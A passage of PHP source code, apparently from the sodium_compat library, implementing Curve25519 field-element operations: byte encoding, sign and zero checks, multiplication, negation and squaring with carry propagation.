$h9) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h) { /** * @var ParagonIE_Sodium_Core32_Int64[] $f * @var ParagonIE_Sodium_Core32_Int64 $q */ $f = array(); for ($i = 0; $i < 10; ++$i) { $f[$i] = $h[$i]->toInt64(); } $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25) ->addInt64($f[0])->shiftRight(26) ->addInt64($f[1])->shiftRight(25) ->addInt64($f[2])->shiftRight(26) ->addInt64($f[3])->shiftRight(25) ->addInt64($f[4])->shiftRight(26) ->addInt64($f[5])->shiftRight(25) ->addInt64($f[6])->shiftRight(26) ->addInt64($f[7])->shiftRight(25) ->addInt64($f[8])->shiftRight(26) ->addInt64($f[9])->shiftRight(25); $f[0] = $f[0]->addInt64($q->mulInt(19, 5)); $carry0 = $f[0]->shiftRight(26); $f[1] = $f[1]->addInt64($carry0); $f[0] = $f[0]->subInt64($carry0->shiftLeft(26)); $carry1 = $f[1]->shiftRight(25); $f[2] = $f[2]->addInt64($carry1); $f[1] = $f[1]->subInt64($carry1->shiftLeft(25)); $carry2 = $f[2]->shiftRight(26); $f[3] = $f[3]->addInt64($carry2); $f[2] = $f[2]->subInt64($carry2->shiftLeft(26)); $carry3 = $f[3]->shiftRight(25); $f[4] = $f[4]->addInt64($carry3); $f[3] = $f[3]->subInt64($carry3->shiftLeft(25)); $carry4 = $f[4]->shiftRight(26); $f[5] = $f[5]->addInt64($carry4); $f[4] = $f[4]->subInt64($carry4->shiftLeft(26)); $carry5 = $f[5]->shiftRight(25); $f[6] = $f[6]->addInt64($carry5); $f[5] = $f[5]->subInt64($carry5->shiftLeft(25)); $carry6 = $f[6]->shiftRight(26); $f[7] = $f[7]->addInt64($carry6); $f[6] = $f[6]->subInt64($carry6->shiftLeft(26)); $carry7 = $f[7]->shiftRight(25); $f[8] = $f[8]->addInt64($carry7); $f[7] = $f[7]->subInt64($carry7->shiftLeft(25)); $carry8 = $f[8]->shiftRight(26); $f[9] = $f[9]->addInt64($carry8); $f[8] = $f[8]->subInt64($carry8->shiftLeft(26)); $carry9 = $f[9]->shiftRight(25); $f[9] = $f[9]->subInt64($carry9->shiftLeft(25)); $h0 = $f[0]->toInt32()->toInt(); $h1 = $f[1]->toInt32()->toInt(); $h2 = $f[2]->toInt32()->toInt(); $h3 = $f[3]->toInt32()->toInt(); $h4 = $f[4]->toInt32()->toInt(); $h5 = $f[5]->toInt32()->toInt(); $h6 = $f[6]->toInt32()->toInt(); $h7 = $f[7]->toInt32()->toInt(); $h8 = $f[8]->toInt32()->toInt(); $h9 = $f[9]->toInt32()->toInt(); /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } $str = self::fe_tobytes($f); /** @var string $zero */ return !self::verify_32($str, $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_mul( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g ) { /** * @var ParagonIE_Sodium_Core32_Int32[] $f * @var ParagonIE_Sodium_Core32_Int32[] $g * @var ParagonIE_Sodium_Core32_Int64 $f0 * @var ParagonIE_Sodium_Core32_Int64 $f1 * @var ParagonIE_Sodium_Core32_Int64 $f2 * @var ParagonIE_Sodium_Core32_Int64 $f3 * @var ParagonIE_Sodium_Core32_Int64 $f4 * @var ParagonIE_Sodium_Core32_Int64 $f5 * @var ParagonIE_Sodium_Core32_Int64 $f6 * @var ParagonIE_Sodium_Core32_Int64 $f7 * @var ParagonIE_Sodium_Core32_Int64 $f8 * @var ParagonIE_Sodium_Core32_Int64 $f9 * @var ParagonIE_Sodium_Core32_Int64 $g0 * @var ParagonIE_Sodium_Core32_Int64 $g1 * @var ParagonIE_Sodium_Core32_Int64 $g2 * @var ParagonIE_Sodium_Core32_Int64 $g3 * @var ParagonIE_Sodium_Core32_Int64 $g4 * @var ParagonIE_Sodium_Core32_Int64 $g5 * @var ParagonIE_Sodium_Core32_Int64 $g6 * @var ParagonIE_Sodium_Core32_Int64 $g7 * @var ParagonIE_Sodium_Core32_Int64 $g8 * @var ParagonIE_Sodium_Core32_Int64 $g9 */ $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $g0 = $g[0]->toInt64(); $g1 = $g[1]->toInt64(); $g2 = $g[2]->toInt64(); $g3 = $g[3]->toInt64(); $g4 = $g[4]->toInt64(); $g5 = $g[5]->toInt64(); $g6 = $g[6]->toInt64(); $g7 = $g[7]->toInt64(); $g8 = $g[8]->toInt64(); $g9 = $g[9]->toInt64(); $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */ $g2_19 = $g2->mulInt(19, 5); $g3_19 = $g3->mulInt(19, 5); $g4_19 = $g4->mulInt(19, 5); $g5_19 = $g5->mulInt(19, 5); $g6_19 = $g6->mulInt(19, 5); $g7_19 = $g7->mulInt(19, 5); $g8_19 = $g8->mulInt(19, 5); $g9_19 = $g9->mulInt(19, 5); $f1_2 = $f1->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f9_2 = $f9->shiftLeft(1); $f0g0 = $f0->mulInt64($g0, 27); $f0g1 = $f0->mulInt64($g1, 27); $f0g2 = $f0->mulInt64($g2, 27); $f0g3 = $f0->mulInt64($g3, 27); $f0g4 = $f0->mulInt64($g4, 27); $f0g5 = $f0->mulInt64($g5, 27); $f0g6 = $f0->mulInt64($g6, 27); $f0g7 = $f0->mulInt64($g7, 27); $f0g8 = $f0->mulInt64($g8, 27); $f0g9 = $f0->mulInt64($g9, 27); $f1g0 = $f1->mulInt64($g0, 27); $f1g1_2 = $f1_2->mulInt64($g1, 27); $f1g2 = $f1->mulInt64($g2, 27); $f1g3_2 = $f1_2->mulInt64($g3, 27); $f1g4 = $f1->mulInt64($g4, 30); $f1g5_2 = $f1_2->mulInt64($g5, 30); $f1g6 = $f1->mulInt64($g6, 30); $f1g7_2 = $f1_2->mulInt64($g7, 30); $f1g8 = $f1->mulInt64($g8, 30); $f1g9_38 = $g9_19->mulInt64($f1_2, 30); $f2g0 = $f2->mulInt64($g0, 30); $f2g1 = $f2->mulInt64($g1, 29); $f2g2 = $f2->mulInt64($g2, 30); $f2g3 = $f2->mulInt64($g3, 29); $f2g4 = $f2->mulInt64($g4, 30); $f2g5 = $f2->mulInt64($g5, 29); $f2g6 = $f2->mulInt64($g6, 30); $f2g7 = $f2->mulInt64($g7, 29); $f2g8_19 = $g8_19->mulInt64($f2, 30); $f2g9_19 = $g9_19->mulInt64($f2, 30); $f3g0 = $f3->mulInt64($g0, 30); $f3g1_2 = $f3_2->mulInt64($g1, 30); $f3g2 = $f3->mulInt64($g2, 30); $f3g3_2 = $f3_2->mulInt64($g3, 30); $f3g4 = $f3->mulInt64($g4, 30); $f3g5_2 = $f3_2->mulInt64($g5, 30); $f3g6 = $f3->mulInt64($g6, 30); $f3g7_38 = $g7_19->mulInt64($f3_2, 30); $f3g8_19 = $g8_19->mulInt64($f3, 30); $f3g9_38 = $g9_19->mulInt64($f3_2, 30); $f4g0 = $f4->mulInt64($g0, 30); $f4g1 = $f4->mulInt64($g1, 30); $f4g2 = $f4->mulInt64($g2, 30); $f4g3 = $f4->mulInt64($g3, 30); $f4g4 = $f4->mulInt64($g4, 30); $f4g5 = $f4->mulInt64($g5, 30); $f4g6_19 = $g6_19->mulInt64($f4, 30); $f4g7_19 = $g7_19->mulInt64($f4, 30); $f4g8_19 = $g8_19->mulInt64($f4, 30); $f4g9_19 = $g9_19->mulInt64($f4, 30); $f5g0 = $f5->mulInt64($g0, 30); $f5g1_2 = $f5_2->mulInt64($g1, 30); $f5g2 = $f5->mulInt64($g2, 30); $f5g3_2 = $f5_2->mulInt64($g3, 30); $f5g4 = $f5->mulInt64($g4, 30); $f5g5_38 = $g5_19->mulInt64($f5_2, 30); $f5g6_19 = $g6_19->mulInt64($f5, 30); $f5g7_38 = $g7_19->mulInt64($f5_2, 30); $f5g8_19 = $g8_19->mulInt64($f5, 30); $f5g9_38 = $g9_19->mulInt64($f5_2, 30); $f6g0 = $f6->mulInt64($g0, 30); $f6g1 = $f6->mulInt64($g1, 30); $f6g2 = $f6->mulInt64($g2, 30); $f6g3 = $f6->mulInt64($g3, 30); $f6g4_19 = $g4_19->mulInt64($f6, 30); $f6g5_19 = $g5_19->mulInt64($f6, 30); $f6g6_19 = $g6_19->mulInt64($f6, 30); $f6g7_19 = $g7_19->mulInt64($f6, 30); $f6g8_19 = $g8_19->mulInt64($f6, 30); $f6g9_19 = $g9_19->mulInt64($f6, 30); $f7g0 = $f7->mulInt64($g0, 30); $f7g1_2 = $g1->mulInt64($f7_2, 30); $f7g2 = $f7->mulInt64($g2, 30); $f7g3_38 = $g3_19->mulInt64($f7_2, 30); $f7g4_19 = $g4_19->mulInt64($f7, 30); $f7g5_38 = $g5_19->mulInt64($f7_2, 30); $f7g6_19 = $g6_19->mulInt64($f7, 30); $f7g7_38 = $g7_19->mulInt64($f7_2, 30); $f7g8_19 = $g8_19->mulInt64($f7, 30); $f7g9_38 = $g9_19->mulInt64($f7_2, 30); $f8g0 = $f8->mulInt64($g0, 30); $f8g1 = $f8->mulInt64($g1, 29); $f8g2_19 = $g2_19->mulInt64($f8, 30); $f8g3_19 = $g3_19->mulInt64($f8, 30); $f8g4_19 = $g4_19->mulInt64($f8, 30); $f8g5_19 = $g5_19->mulInt64($f8, 30); $f8g6_19 = $g6_19->mulInt64($f8, 30); $f8g7_19 = $g7_19->mulInt64($f8, 30); $f8g8_19 = $g8_19->mulInt64($f8, 30); $f8g9_19 = $g9_19->mulInt64($f8, 30); $f9g0 = $f9->mulInt64($g0, 30); $f9g1_38 = $g1_19->mulInt64($f9_2, 30); $f9g2_19 = $g2_19->mulInt64($f9, 30); $f9g3_38 = $g3_19->mulInt64($f9_2, 30); $f9g4_19 = $g4_19->mulInt64($f9, 30); $f9g5_38 = $g5_19->mulInt64($f9_2, 30); $f9g6_19 = $g6_19->mulInt64($f9, 30); $f9g7_38 = $g7_19->mulInt64($f9_2, 30); $f9g8_19 = $g8_19->mulInt64($f9, 30); $f9g9_38 = $g9_19->mulInt64($f9_2, 30); // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38) ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19) ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38); // $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h1 = $f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19) ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19) ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19); // $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38) ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19) ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38); // $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0) ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19) ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19); // $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2) ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19) ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38); // $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2) ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19) ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19); // $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2) ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0) ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38); // $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4) ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1) ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19); // $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2) ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2) ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38); // $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6) ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3) ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 * @var ParagonIE_Sodium_Core32_Int64 $carry0 * @var ParagonIE_Sodium_Core32_Int64 $carry1 * @var ParagonIE_Sodium_Core32_Int64 $carry2 * @var ParagonIE_Sodium_Core32_Int64 $carry3 * @var ParagonIE_Sodium_Core32_Int64 $carry4 * @var ParagonIE_Sodium_Core32_Int64 $carry5 * @var ParagonIE_Sodium_Core32_Int64 $carry6 * @var ParagonIE_Sodium_Core32_Int64 $carry7 * @var ParagonIE_Sodium_Core32_Int64 $carry8 * @var ParagonIE_Sodium_Core32_Int64 $carry9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core32_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->subInt32($f[$i]); } return $h; } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); $f6_19 = $f6->mulInt(19, 5); $f7_38 = $f7->mulInt(38, 6); $f8_19 = $f8->mulInt(19, 5); $f9_38 = $f9->mulInt(38, 6); $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 28); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 30); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 28); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 30); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 30); $f2f9_38 = $f9_38->mulInt64($f2, 30); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 30); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 30); $f3f8_38 = $f8_19->mulInt64($f3_2, 30); $f3f9_76 = $f9_38->mulInt64($f3_2, 30); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 30); $f4f7_38 = $f7_38->mulInt64($f4, 30); $f4f8_38 = $f8_19->mulInt64($f4_2, 30); $f4f9_38 = $f9_38->mulInt64($f4, 30); $f5f5_38 = $f5_38->mulInt64($f5, 30); $f5f6_38 = $f6_19->mulInt64($f5_2, 30); $f5f7_76 = $f7_38->mulInt64($f5_2, 30); $f5f8_38 = $f8_19->mulInt64($f5_2, 30); $f5f9_76 = $f9_38->mulInt64($f5_2, 30); $f6f6_19 = $f6_19->mulInt64($f6, 30); $f6f7_38 = $f7_38->mulInt64($f6, 30); $f6f8_38 = $f8_19->mulInt64($f6_2, 30); $f6f9_38 = $f9_38->mulInt64($f6, 30); $f7f7_38 = $f7_38->mulInt64($f7, 28); $f7f8_38 = $f8_19->mulInt64($f7_2, 30); $f7f9_76 = $f9_38->mulInt64($f7_2, 30); $f8f8_19 = $f8_19->mulInt64($f8, 30); $f8f9_38 = $f9_38->mulInt64($f8, 30); $f9f9_38 = $f9_38->mulInt64($f9, 28); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 